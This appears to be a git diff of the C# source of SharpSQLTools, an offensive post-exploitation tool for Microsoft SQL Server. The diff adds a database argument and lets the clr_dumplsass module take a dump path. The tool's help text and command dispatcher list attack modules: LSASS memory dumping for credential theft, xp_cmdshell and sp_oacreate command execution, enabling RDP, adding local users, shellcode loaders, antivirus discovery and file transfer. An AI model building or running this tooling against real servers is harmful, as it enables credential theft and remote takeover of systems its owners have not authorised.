@@ -30,7 +30,7 @@ private static void Help()
3030disable_clr - you know what it means
3131install_clr - create assembly and procedure
3232uninstall_clr - drop clr
33- clr_dumplsass - dumplsass by clr
33+ clr_dumplsass {path} - dumplsass by clr
3434clr_rdp - check RDP port and Enable RDP
3535clr_getav - get anti-virus software on this machin by clr
3636clr_adduser {user} {pass} - add user by clr
@@ -270,11 +270,12 @@ static void interactive(string[] args)
270270 string target = args [ 0 ] ;
271271 string username = args [ 1 ] ;
272272 string password = args [ 2 ] ;
273+ string database = args [ 3 ] ;
273274
274275 try
275276 {
276277 //sql建立连接
277- string connectionString = String . Format ( "Server = \" {0}\" ;Database = \" master \" ;User ID = \" {1 }\" ;Password = \" {2 }\" ;" , target , username , password ) ;
278+ string connectionString = String . Format ( "Server = \" {0}\" ;Database = \" {1} \" ;User ID = \" {2 }\" ;Password = \" {3 }\" ;" , target , database , username , password ) ;
278279 Conn = new SqlConnection ( connectionString ) ;
279280 Conn . InfoMessage += new SqlInfoMessageEventHandler ( OnInfoMessage ) ;
280281 Conn . Open ( ) ;
@@ -334,8 +335,14 @@ static void interactive(string[] args)
334335 setting . Disable_ole ( ) ;
335336 break ;
336337 case "clr_dumplsass" :
337- clr_exec ( "clr_dumplsass" ) ;
338- break ;
338+ {
339+ String s = String . Empty ;
340+ for ( int i = 0 ; i < cmdline . Length ; i ++ ) { s += cmdline [ i ] + " " ; }
341+ clr_exec ( s ) ;
342+ break ;
343+ }
344+ // clr_exec("clr_dumplsass");
345+ // break;
339346 case "clr_rdp" :
340347 clr_exec ( "clr_rdp" ) ;
341348 break ;
@@ -424,11 +431,12 @@ static void Noninteractive(string[] args)
424431 string target = args [ 0 ] ;
425432 string username = args [ 1 ] ;
426433 string password = args [ 2 ] ;
427- string module = args [ 3 ] ;
434+ string database = args [ 3 ] ;
435+ string module = args [ 4 ] ;
428436 try
429437 {
430438 //sql建立连接
431- string connectionString = String . Format ( "Server = {0};Database = master ;User ID = {1} ;Password = {2} ;" , target , username , password ) ;
439+ string connectionString = String . Format ( "Server = \" {0}\" ;Database = \" {1} \" ;User ID = \" {2} \" ;Password = \" {3} \" ;" , target , database , username , password ) ;
432440 Conn = new SqlConnection ( connectionString ) ;
433441 Conn . InfoMessage += new SqlInfoMessageEventHandler ( OnInfoMessage ) ;
434442 Conn . Open ( ) ;
@@ -456,13 +464,13 @@ static void Noninteractive(string[] args)
456464 case "xp_cmdshell" :
457465 {
458466 String command = String . Empty ;
459- if ( args . Length > 5 )
467+ if ( args . Length > 6 )
460468 {
461- for ( int i = 4 ; i < args . Length ; i ++ ) { command += args [ i ] + " " ; }
469+ for ( int i = 5 ; i < args . Length ; i ++ ) { command += args [ i ] + " " ; }
462470 }
463471 else
464472 {
465- command = args [ 4 ] ;
473+ command = args [ 5 ] ;
466474 }
467475 xp_shell ( command ) ;
468476 break ;
@@ -471,23 +479,23 @@ static void Noninteractive(string[] args)
471479 {
472480 {
473481 String command = String . Empty ;
474- if ( args . Length > 5 )
482+ if ( args . Length > 6 )
475483 {
476- for ( int i = 4 ; i < args . Length ; i ++ ) { command += args [ i ] + " " ; }
484+ for ( int i = 5 ; i < args . Length ; i ++ ) { command += args [ i ] + " " ; }
477485 }
478486 else
479487 {
480- command = args [ 4 ] ;
488+ command = args [ 5 ] ;
481489 }
482490 sp_shell ( command ) ;
483491 break ;
484492 }
485493 }
486494 case "upload" :
487- UploadFiles ( args [ 4 ] , args [ 5 ] ) ;
495+ UploadFiles ( args [ 5 ] , args [ 6 ] ) ;
488496 break ;
489497 case "download" :
490- DownloadFiles ( args [ 5 ] , args [ 4 ] ) ;
498+ DownloadFiles ( args [ 6 ] , args [ 5 ] ) ;
491499 break ;
492500 case "enable_ole" :
493501 setting . Enable_ola ( ) ;
@@ -496,8 +504,14 @@ static void Noninteractive(string[] args)
496504 setting . Disable_ole ( ) ;
497505 break ;
498506 case "clr_dumplsass" :
499- clr_exec ( "clr_dumplsass" ) ;
500- break ;
507+ {
508+ String s = String . Empty ;
509+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
510+ clr_exec ( s ) ;
511+ break ;
512+ }
513+ //clr_exec("clr_dumplsass");
514+ //break;
501515 case "clr_rdp" :
502516 clr_exec ( "clr_rdp" ) ;
503517 break ;
@@ -507,35 +521,35 @@ static void Noninteractive(string[] args)
507521 case "clr_adduser" :
508522 {
509523 String s = String . Empty ;
510- for ( int i = 3 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
524+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
511525 clr_exec ( s ) ;
512526 break ;
513527 }
514528 case "clr_scloader" :
515529 {
516530 String s = String . Empty ;
517- for ( int i = 3 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
531+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
518532 clr_exec ( s ) ;
519533 break ;
520534 }
521535 case "clr_scloader1" :
522536 {
523537 String s = String . Empty ;
524- for ( int i = 3 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
538+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
525539 clr_exec ( s ) ;
526540 break ;
527541 }
528542 case "clr_scloader2" :
529543 {
530544 String s = String . Empty ;
531- for ( int i = 3 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
545+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
532546 clr_exec ( s ) ;
533547 break ;
534548 }
535549 case "clr_download" :
536550 {
537551 String s = String . Empty ;
538- for ( int i = 3 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
552+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
539553 clr_exec ( s ) ;
540554 break ;
541555 }
@@ -575,11 +589,11 @@ static void Noninteractive(string[] args)
575589 }
576590 static void Main ( string [ ] args )
577591 {
578- if ( args . Length == 3 )
592+ if ( args . Length == 4 )
579593 {
580594 interactive ( args ) ;
581595 }
582- else if ( args . Length > 3 )
596+ else if ( args . Length > 4 )
583597 {
584598 Noninteractive ( args ) ;
585599 }
@@ -588,8 +602,8 @@ static void Main(string[] args)
588602 logo ( ) ;
589603 Console . WriteLine ( "Usage:" ) ;
590604 Console . WriteLine ( @"
591- SharpSQLTools target username password - interactive console
592- SharpSQLTools target username password module command - non-interactive console" ) ;
605+ SharpSQLTools target username password database - interactive console
606+ SharpSQLTools target username password database module command - non-interactive console" ) ;
593607 Console . WriteLine ( "\n Module:" ) ;
594608 Help ( ) ;
595609 return ;
0 commit comments